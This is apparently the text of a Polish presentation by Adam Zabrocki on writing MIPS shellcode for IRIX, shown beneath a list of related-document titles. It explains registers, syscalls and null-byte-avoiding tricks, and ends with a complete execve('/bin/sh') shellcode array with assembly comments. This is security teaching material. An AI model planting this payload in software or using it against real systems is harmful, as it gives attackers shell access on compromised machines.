Shellcody a architektura MIPS na systemach IRIX. Adam Zabrocki.

Podobne dokumenty
Lista Rozkazów: Język komputera

Procedury. int mult (int mcand, int mlier){ int product = 0; while (mlier > 0) { product = product + mcand; mlier = mlier -1; } return product; }

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

002 Opcode Strony projektu:

Programowanie w asemblerze MIPSa

List s a R ozkazó z w: w Ję J z ę y z k y k k o k mp o u mp t u er e a a ( cd c. d )

Protokół komunikacyjny sondy cyfrowej CS-26/RS-485 (lub RS-232)

Układ wykonawczy, instrukcje i adresowanie. Dariusz Chaberski

!"#!"$%! %$"#%!!$! !"!#$ )&! &

Buffer Overflow (art. 2) by h07

PROGRAMOWANIE NISKOPOZIOMOWE

Wstęp do informatyki. Architektura co to jest? Architektura Model komputera. Od układów logicznych do CPU. Automat skończony. Maszyny Turinga (1936)

2018 Marcin Kukliński. Niesforne bity i bajty

Plan wykładu. Architektura systemów komputerowych. Cezary Bolek. Składowe architektury komputera

Typy złożone. Struktury, pola bitowe i unie. Programowanie Proceduralne 1

Pobieranie argumentów wiersza polecenia

Błędy łańcuchów formatujących (format string) by h07

Programowanie w asemblerze Środowiska 64-bitowe

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

. III atyka, sem, Inform Symulator puterów Escape rchitektura kom A

Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.

Architektura typu Single-Cycle

Programowanie Proceduralne

PROGRAMOWANIE NISKOPOZIOMOWE

1 Ogolnie o asemblerach. 2 Zarys architektury MIPS

Projektowanie. Projektowanie mikroprocesorów

Programowanie Niskopoziomowe

1: ////////// 2: // test.c. 3: ssize_t ret = read(fd, buf, nbytes);

4.2 Sposób korzystania z l acza

AGH Akademia Górniczo-Hutnicza w Krakowie Katedra Elektroniki

METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02

1 Zarys architektury MIPS

Wykład 15. Literatura. Kompilatory. Elementarne różnice. Preprocesor. Słowa kluczowe

Programowanie w asemblerze Uruchamianie programów

Wstęp do Reverse engineeringu

Wstęp do programowania

Architektura typu multi cycle

Uzupełnienie dot. przekazywania argumentów


Return-oriented exploiting

Optymalizacja szelkodów w Linuksie

Wstęp. Przetwarzanie współbieżne, równoległe i rozproszone

Zadanie 04 Ktory z ponizszych typow danych w jezyku ANSI C jest typem zmiennoprzecinkowym pojedynczej precyzji?

Linux Kernel III. Character devices

Programowanie I C / C++ laboratorium 02 Składnia pętli, typy zmiennych, operatory

2 Przygotował: mgr inż. Maciej Lasota

Procesory firmy ARM i MIPS

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/ / 24

Witold Komorowski: RISC. Witold Komorowski, dr inż.

Architektura komputerów

Materiały do wykładu. 4. Mikroprocesor. Marcin Peczarski. Instytut Informatyki Uniwersytet Warszawski

Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach

Zygmunt Kubiak Instytut Informatyki Politechnika Poznańska

Instrukcja do ćwiczeń nr 4 typy i rodzaje zmiennych w języku C dla AVR, oraz ich deklarowanie, oraz podstawowe operatory

Architektura Systemów Komputerowych, Wydział Informatyki, ZUT

MMX i SSE. Zbigniew Koza. Wydział Fizyki i Astronomii Uniwersytet Wrocławski. Wrocław, 10 marca Zbigniew Koza (WFiA UWr) MMX i SSE 1 / 16

Wstęp do programowania 1

Informacje organizacyjne

Programowanie Proceduralne

Architektura Systemów Komputerowych

Zapoznanie z technikami i narzędziami programistycznymi służącymi do tworzenia programów współbieżnych i obsługi współbieżności przez system.

Oprogramowanie komputerów wer. 9

Podstawy programowania. Wykład Co jeszcze... Przypomnienia, uzupełnienia. Krzysztof Banaś Podstawy programowania 1

Języki i metodyka programowania. Typy, operatory, wyrażenia. Wejście i wyjście.

Przepełnienie bufora i łańcuchy formatujace

Programowanie mikrokontrolerów AVR z rodziny ATmega.

Wykład Wskaźniki a tablice jednowymiarowe Arytmetyka wskaźników Dostęp do elementów tablic

Architektura potokowa RISC

Programowanie I C / C++ laboratorium 03 arytmetyka, operatory

Przetwarzanie potokowe (cd.) oraz zaawansowane organizacje procesorów

SPECYFIKACJA. Przetwornik różnicy ciśnień DPC250-M, DPC2500-M, DPC4000-M, DPC7000-M (MODBUS RTU)

Wiadomości wstępne Środowisko programistyczne Najważniejsze różnice C/C++ vs Java

Podstawy programowania C. dr. Krystyna Łapin

Tworzenie oprogramowania

Wykład 1

Obsługa plików. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 25 września 2011

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK SP.02 Rok akad. 2011/ / 35

PROGRAMOWANIE SYSTEMÓW CZASU RZECZYWISTEGO

SPECYFIKACJA. Przetwornik temperatury PT100 MODBUS RTU. Opracował: HCC-05c-Modbus. HOTCOLD s.c

SPECYFIKACJA. Przetwornik temperatury PT100 MODBUS RTU. Opracował: HCC-03-Modbus. HOTCOLD s.c

, " _/'--- " ~ n\l f.4e ' v. ,,v P-J.. ~ v v lu J. ... j -:;.",II. ,""", ",,> I->~" re. dr. f It41I r> ~ '<Q., M-c 'le...,,e. b,n '" u /.

WOJSKOWA AKADEMIA TECHNICZNA

Komunikacja człowiek-komputer

Spis treści JĘZYK C - INSTRUKCJA SWITCH, OPERATORY BITOWE. Informatyka 1. Instrukcja do pracowni specjalistycznej z przedmiotu. Numer ćwiczenia INF05

Języki i metodyka programowania. Wprowadzenie do języka C

4 Standardy reprezentacji znaków. 5 Przechowywanie danych w pamięci. 6 Literatura

Bibliografia: pl.wikipedia.org Historia i rodzaje procesorów w firmy Intel

Microsoft IT Academy kurs programowania

Zaawansowane programowanie w języku C++ Podstawy programowania w C++

Formatowane (tekstowe) wejście/wyjście. Binarne wejście/wyjście.

REJESTRATOR Z EKRANEM DOTYKOWYM TYPU KD7

Zygmunt Kubiak Instytut Informatyki Politechnika Poznańska

SPECYFIKACJA Przetwornik wilgotności HCRH-MODBUS-Kb

Qt sygnały i designer

Programowanie w asemblerze Architektura procesora

J. Ułasiewicz Łącza nienazwane, nazwane, select 1

Architektura mikroprocesorów TEO 2009/2010

SPECYFIKACJA Przetwornik różnicy ciśnień DPC6000_MV (MODBUS, 0-10V)

Język ludzki kod maszynowy

architektura komputerów w. 4 Realizacja sterowania

Transkrypt:

Adam Zabrocki http://pi3.shellcode.pl pi3@itsec.pl

Architektura MIPS: MIPS Microprocessor without Interlocked Piped Stages: RISC Rationalized Instruction Set Computers (Reduced Instruction Set Computers) Szybkość i potokowość Slowo kodowe w CISC ach a RISC ach Big- czy little-endian???

R12000: Big-endian Superskalarność i superpotokowość (fazy) Wydajność cyklu na instrukcje około 1.5 Wszystkie sloty zapełnione 20% Hazard... Opóźnienie skokowe

Instrukcje MIPS owe: Długość słowa kodowego a dekodery Podział instrukcji: Instrukcje typu R (np. add $6,$5,$4) Instrukcje typu I (np. addi $6,$5,4) Instrukcje typu J (np. j label_pi3)

Instrukcje MIPS owe: Fizyczny podział instrukcji: Bity 31-26 Bity 25-21 Bity 20-6 Bity 5-0 Op Sub-op Data Subcode Instrukcje arytmetyczne (andi $5,$4,0xffff == $5 = $4 & 0xffff)

MIPS rejestry: 5 bitowe pole sub-op == 2^5 = 32 rejestry: Rejestr: 0 1 Symboliczna nazwa: $zero $at Odpowiednik x86: brak brak Rejestr: 26-27 Symboliczna nazwa: $k0-$k1 Odpowiednik x86: brak 2-3 $v0-v1 %eax oraz %edx 28 $gp brak 4-7 8-15 24-25 16-23 $a0-$a3 $t0-$t9 $s0-$s7 %eax,%ebx,%ecx, %edx,%esi,%edi (%ebp) %eax,%eax,%ebx, %ecx,%edx,%esi, %edi Jak wyzej 29 30 31 $sp $fp lub $s8 $ra $esp $ebp brak

Wyjątki oraz syscall e: User mode, kernel mode, supervisor mode Przełączanie exceptions (wyjątki) Kernel space exception handler... Syscall exceptions słowo kodowe (instrukcja syscall): syscall 0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100

Przykładowy syscall: int execve (const char *filename, char *const argv [], char *const envp[]); a0 = (const char *) filename a1 = (chat * const) argv[] a2 = (char * const) envp[] v0 = SYS_execve = 1059 = 0x0423

Numery syscalli w IRIX ie: --- CUT ---...... #define SYSVoffset 1000 /* to offset us from 4.3BSD calls, when desired */ #define SYS_syscall #define SYS_exit...... --- CUT --- (0+SYSVoffset) (1+SYSVoffset)

IRIX a dup2(): Opcja manipulowania deskryptorami F_DUPFD Pseudokod: close(dest2); fcntl (dest1, F_DUPFD, dest2); syscall e fcntl() oraz close(): > cat /usr/include/sys.s grep fcntl #define SYS_fcntl (62+SYSVoffset) > cat /usr/include/sys.s grep close #define SYS_close (6+SYSVoffset) >

Sztuczki: Pobieranie adresu: sw $29,($29) lw $4,($29) ********* sw source, offset *((int *) offset) = source lw dest, offset dest = *((int *) (offset)) ********* > gdb q./test (gdb) disass main 0x10001388 <main+72>: sw sp,0(sp) 0x1000138c <main+76>: lw a0,0(sp) (gdb) x/2x 0x10001388 0x10001388 <main+72>: 0xafbd0000 0x8fa40000

Sztuczki: Rozwiązanie problemu ($29 (sp) + <jakaś wartość>): sw $29,444($29) lw $4,444($29) > gdb q./test (gdb) disass main...... 0x100013a4 <main+100>: sw sp,444(sp) 0x100013a8 <main+104>: lw a0,444(sp) (gdb) x/2x 0x100013a4 0x100013a4 <main+100>: 0xafbd01bc 0x8fa401bc

Sztuczki: Pobieranie adresu alternatywa: li t8, -0x7350 /* load t8 with -0x7350 (leet) */ foo: bltzal t8, foo /* branch with $ra stored if t8 < 0 */ slti t8, zero, -1 /* t8 = 0 (see below) */ bar: *********** bltzal source, offset if (source < 0) offset () slti dest, source, value signed: dest = (source < value)? 1 : 0 ***********

Sztuczki: Osiąganie i kopiowanie zera: (zero) sub $9,$9,$9 (kopiowanie) slti rej, zero, -1 Kopiowanie jedynki: slti rej, zero, 0x0123 Kopiowanie małych wartości - nie większe niż 0xffff (65535): andi rej, source, 0xffff

Przykład: /* * This is shellcode for IRIX - MIPS processors. * Tested on R12000 processor with system IRIX64 6.5.26m * * -- * Best regards pi3 (pi3ki31ny) - Adam Zabrocki * http://pi3.hack.pl * */ #include <stdio.h> unsigned long int shellcode[] = { 0x01294822, /* sub $9,$9,$9 */ 0x23bdfe44, /* add $29,$29,-444 */ 0xafa901bc, /* sw $9,444($29) */ 0x23bd01bc, /* add $29,$29,444 */ 0x23bdfffc, /* add $29,$29,-4 */ 0x3c082f2f, /* lui $8,0x2f2f */ 0x35087368, /* ori $8,$8,0x7368 */ 0x23bdfe44, /* addi $29,$29,-444 */ 0xafa801bc, /* sw $8,444($29) */ 0x23bd01bc, /* addi $29,$29,444 */ 0x23bdfffc, /* addi $29,$29,-4 */ 0x3c082f62, /* lui $8,0x2f62 */

Przykład: }; 0x3508696e, /* ori $8,$8,0x696e */ 0x23bdfe44, /* addi $29,$29,-444 */ 0xafa801bc, /* sw $8,444($29) */ 0x23bd01bc, /* addi $29,$29,444 */ 0x23bdfffc, /* addi $29,$29,-4 */ 0xafbd01bc, /* sw $29,444($29) */ 0x8fa401bc, /* lw $4,444($29) */ 0x208401cc, /* addi $4,$4,460 */ 0x2084fe38, /* addi $4,$4,-456 */ 0x01294822, /* sub $9,$9,$9 */ 0x23bdfe44, /* addi $29,$29,-444 */ 0xafa901bc, /* sw $9,444($29) */ 0x23bd01bc, /* addi $29,$29,444 */ 0x23bdfe44, /* addi $29,$29,-444 */ 0xafa401b8, /* sw $4,440($29) */ 0xafbd01b4, /* sw $29,436($29) */ 0x8fa501b4, /* lw $5,436($29) */ 0x20a501b8, /* addi $5,$5,440 */ 0x01294822, /* sub $9,$9,$9 */ 0x3126ffff, /* andi $6,$9,0xffff */ 0x24020423, /* li $2,1059 */ 0x0101010c, /* syscall */

Referencje: 4) MIPSPro Assembly Language Programmer's Guide - Volume 1/2 Document Number 007-2418-001 http://www.mips.com/ and http://www.sgi.com/ Phrack Magazine Volume 0xa Issue 0x38 WRITING MIPS/IRIX SHELLCODE http://www.phrack.org/archives/56/p56-0x16 http://google.com :) http://pi3.shellcode.pl

Dziękuję za uwagę http://pi3.shellcode.pl pi3@itsec.pl